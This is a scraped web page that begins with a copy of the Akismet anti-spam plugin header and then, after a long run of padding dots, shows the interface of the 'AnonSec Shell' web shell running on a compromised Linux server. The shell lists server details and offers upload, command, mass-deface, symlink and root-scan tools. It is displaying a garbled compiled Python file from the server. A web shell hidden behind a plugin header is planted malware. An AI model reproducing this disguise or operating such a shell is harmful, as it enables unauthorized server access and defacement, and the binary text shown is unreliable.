#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/cloud_what/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/cloud_what/_base_provider.pyo
�
L��ec@skdZddlZddlZddlZddlZddlZeje�Zde	fd��YZ
dS(sv
This module contains base class for generic cloud provider. This module
should not be imported outside this package.
i����NtBaseCloudProvidercBs@eZdZdZdZdZdZdZdZ	dZ
iZdZdZ
dZdZdZeZd�Zdd�Zed��Zd�Zd�Zd�Zd	�Zed
��Zd�Zd�Zd
�Zd�Zed��Z ed��Z!dd�Z"dd�Z#d�Z$d�Z%d�Z&d�Z'd�Z(RS(s
    Base class of cloud provider. This class is used for cloud detecting
    and collecting metadata/signature.

    The most of logic is implemented in this class. Subclasses
    for concrete cloud providers usually contains only default values in
    class attributes. Logic of gathering metadata/signature will be implemented
    in this base class and subclasses will need to set only class attributes.
    It will be still possible to implement custom method for e.g. getting
    metadata from cloud provider.
    g$@g�?cOs.t|j|�s'tj|�|_n|jS(se
        Instance of cloud provider is singleton
        :param args:
        :param kwargs:
        (t
isinstancet	_instancetobjectt__new__(tclstargstkwargs((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyR_scCs�|jtkrdSd|_d|_d|_d|_|dkrU|j�|_n	||_t	j
�|_dtj
kr�|jjdj|j�nd|_d|_d|_t|_dS(si
        Initialize cloud provider
        :param hw_info: Dictionary with hardware information.
        NtSUBMAN_DEBUG_PRINT_RESPONSEtresponse(t_initializedtTruetNonet_cached_metadatat_cached_metadata_ctimet_cached_signaturet_cached_signature_ctimetcollect_hw_factsthw_infotrequeststSessiont_sessiontostenvironthookstappendt_cb_debug_print_http_responset_tokent_token_ctimet
_token_ttl(tselfR((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt__init__js 								cCsiS(s_
        Try to collect hardware facts
        :return: Dictionary with hardware facts
        ((((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyR�scCs d|jko|jdtkS(s�
        Is current system virtual machine?
        :return: Return True, when it is virtual machine; otherwise return False
        s
virt.is_guest(RR(R((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pytis_vm�scCs
t�dS(s�
        Try to guess cloud provider using collected hardware information (output of dmidecode, virt-what, etc.)
        :return: True, when we detected sign of cloud provider in hw info; Otherwise return False
        N(tNotImplementedError(R((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pytis_running_on_cloud�scCs
t�dS(sK
        When all subclasses cannot detect cloud provider using method is_running_on_cloud, because cloud provider
        started to provide something else in output of dmidecode, then try to use this heuristics method
        :return: Float value representing probability that vm is running using specific cloud provider
        N(R!(R((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pytis_likely_running_on_cloud�sc	Cs||jdks-|jdks-|jdkrJtjdj|j��dSit|j�d6t|j	�d6|jd6}t
jj|j�}y&t
jj
|�s�t
j|�nWn-tk
r�}tjdj||��dSXtjdj|j|j��y/t|jd��}tj||�WdQXWn/tk
rd}tjd	j|j|��nXt
j|jd
�dS(sH
        Try to write token to cache file
        :return: None
        s:Unable to write {} token to cache file due to missing datatctimetttlttokens'Unable to create cache directory {}: {}NsWriting {} token to file {}tws+Unable to write token to cache file: {}: {}i�(RRRtTOKEN_CACHE_FILEtlogtdebugtformattCLOUD_PROVIDER_IDtstrRRtpathtdirnametexiststmakedirstOSErrortopentjsontdumptIOErrorterrortchmod(Rttoken_cache_contentttoken_cache_dirterr_msgttoken_cache_file((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt_write_token_to_cache_file�s,-

 cCsD|dks|dkrtStj�}|||kr<tStSdS(s

        Check if in-memory cache is still valid
        :param cache: cache object
        :param ctime: time, when cache was created
        :param ttl: time to live of cache
        :return: Return True, when cache is still valid. Otherwise return False.
        N(RtFalsettimeR(tcacheR$R%tcurrent_time((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt_is_in_memory_cache_valid�s	cCs|j|j|j|j�S(s�
        Check if cached token is still valid
        :return: True, when cached token is valid; otherwise return False
        (RBRRtCLOUD_PROVIDER_TOKEN_TTL(R((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt _is_in_memory_cached_token_valid�sc		CsYtjdj|j|j��tjj|j�sWtjdj|j|j��dSt	|jd��J}y|j
�}Wn0tk
r�}tjdj|j|��dSXWdQXyt
j|�}Wn0tk
r�}tjdj|j|��dSXddd	g}x:|D]2}||krtjd
j||j��dSqWyt|d�}Wn0tk
r�}tjdj|j|��dSX||_yt|d	�}Wn>tk
r�}tjdj|j||j��|j}nX||_tj�||kr2tjd
j|j|j��|dStjdj|j|j��dSdS(s�
        Try to get token from cache file. Cache file is JSON file with following structure:

        {
          "ctime": "1607949565.9036307",
          "ttl": "3600",
          "token": "ABCDEFGHy0hY_y8D7e95IIx7aP2bmnzddz0tIV56yZY9oK00F8GUPQ=="
        }

        The cache file can be read only by owner.
        :return: String with token or None, when it possible to load token from cache file
        s$Reading cache file with {} token: {}s+Cache file: {} with {} token does not existtrs'Unable to load token cache file: {}: {}Ns(Unable to parse token cache file: {}: {}R$R&R%s8Required key: {} is not included in token cache file: {}s"Wrong ctime value in {}, error: {}s7Wrong TTL value in {} error: {} using default value: {}s.Cache file: {} with {} token read successfullys+Cache file with {} token file: {} timed out(R)R*R+R,R(RR.R0RR3treadR2R7R4tloadst
ValueErrortfloatRtwarningRCRR?(	RR<tcache_file_contentterrR@t
required_keystkeyR$R%((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt_get_token_from_cache_file�sb



	

	

cCs9|j|j|j|j�}|tkr1|jSdSdS(s�
        Method for getting metadata from in-memory cache
        :return: String, when cache is valid. Otherwise return None
        N(RBR
RtIN_MEMORY_CACHE_TTLRR(Rtvalid((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt"_get_metadata_from_in_memory_cache>scCs
t�dS(sk
        Method for gathering metadata from cache file
        :return: string containing metadata
        N(R!(R((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt_get_metadata_from_cacheNscCs�d}d}d}d}|d|}|||jd|j|7}dtjkr�djd	�|jj�D��}||d
jd|�|7}ndtjkr�|jdk	r�||d
j|j�|7}ndGH|GHdGHdS(s�
        Print HTTP request that will be sent using requests Python package
        :param request: prepared HTTP request
        :return: None
        sssssMaking request: t t!SUBMAN_DEBUG_PRINT_REQUEST_HEADERs, css'|]\}}dj||�VqdS(s{}: {}N(R+(t.0tktv((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pys	<genexpr>css {{{headers}}}theaderstSUBMAN_DEBUG_PRINT_REQUEST_BODYs {}N(((
tmethodturlRRtjoinRYtitemsR+tbodyR(trequestt
yellow_coltblue_coltred_coltend_coltmsgRY((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt_debug_print_http_requestUs "!!cOsCdjd|jddjd�|jj�D��d|j�GH|S(s
        Callback method for printing HTTP response. It uses requests API.
        :param response: Instance of response. The response is not altered
        :param *args: Not used
        :param **kwargs: Not used
        :return: Instance of response
        s
{code} {{{headers}}}
{body}
tcodeRYs, css-|]#\}}djd|d|�VqdS(s{key}: {value}RNtvalueN(R+(RVRWRX((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pys	<genexpr>vsR_(R+tstatus_codeR]RYR^ttext(R	RR((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyRks
			"cCstjdj||��|d
kr1|j}ntjddd|d|�}|jj|�}dt	j
kr�|j|�ny|jj|d|j
�}Wn5tjk
r�}tjdj|j||��n9X|jd	kr�|jStjdj|j||j��d
S(s�
        Try to get some data from server using method GET
        :param data_type: string representing data type (metadata, signature, token, etc.)
        :param url: URL of the GET request
        :param headers: optional headers parameters. When not set, then self.HTTP_HEADERS are used
        :return: String representing body, when status code is 200; Otherwise return None
        sTrying to get {} from {}R[tGETR\RYtSUBMAN_DEBUG_PRINT_REQUESTttimeoutsUnable to get {} {}: {}i�N(R)R*R+RtHTTP_HEADERSRtRequestRtprepare_requestRRRftsendtTIMEOUTtConnectionErrorR,RiRj(Rt	data_typeR\RYthttp_reqtprepared_http_reqR	RL((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt_get_data_from_server{s"#cCsL|jddd|jd|�|_|jdk	rEtj�|_n|jS(so
        Method for gathering metadata from server
        :return: String containing metadata or None
        RttmetadataR\RYN(RwtCLOUD_PROVIDER_METADATA_URLR
RR?R(RRY((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt_get_metadata_from_server�s		cCs9|j|j|j|j�}|tkr1|jSdSdS(s�
        Method for getting signature from in-memory cache
        :return: String, when cache is valid. Otherwise return None
        N(RBRRRPRR(RRQ((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt#_get_signature_from_in_memory_cache�scCs
t�dS(sk
        Try to get signature from cache file
        :return: String containing signature or None
        N(R!(R((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt_get_signature_from_cache_file�scCs@|jd|j�|_|jdk	r9tj�|_n|jS(s}
        Method for gathering signature of metadata from server
        :return: String containing signature or None
        t	signatureN(RwtCLOUD_PROVIDER_SIGNATURE_URLRRR?R(R((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt_get_signature_from_server�scCsO|j�}|dk	r)tjd�|S|j�}|dk	rE|S|j�S(s�
        Public method for getting signature (cache file or server)
        :return: String containing signature or None
        s$Using signature from in-memory cacheN(R{RR)R*R|R(RR}((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt
get_signature�s
cCsO|j�}|dk	r)tjd�|S|j�}|dk	rE|S|j�S(s�
        Public method for getting metadata (cache file or server)
        :return: String containing signature or None
        s#Using metadata from in-memory cacheN(RRRR)R*RSRz(RRx((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pytget_metadata�s
N()t__name__t
__module__t__doc__RR,RytCLOUD_PROVIDER_METADATA_TYPER~tCLOUD_PROVIDER_SIGNATURE_TYPEtMETADATA_CACHE_FILEtSIGNATURE_CACHE_FILERnR(RCRPRrRR>R
RRtstaticmethodRR R"R#R=RBRDRORRRSRfRRwRzR{R|RR�R�(((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyRsH	(					$		L		!			
	(R�RtloggingR4RR?t	getLoggerR�R)RR(((s?/usr/lib64/python2.7/site-packages/cloud_what/_base_provider.pyt<module>s

Anon7 - 2022
AnonSec Team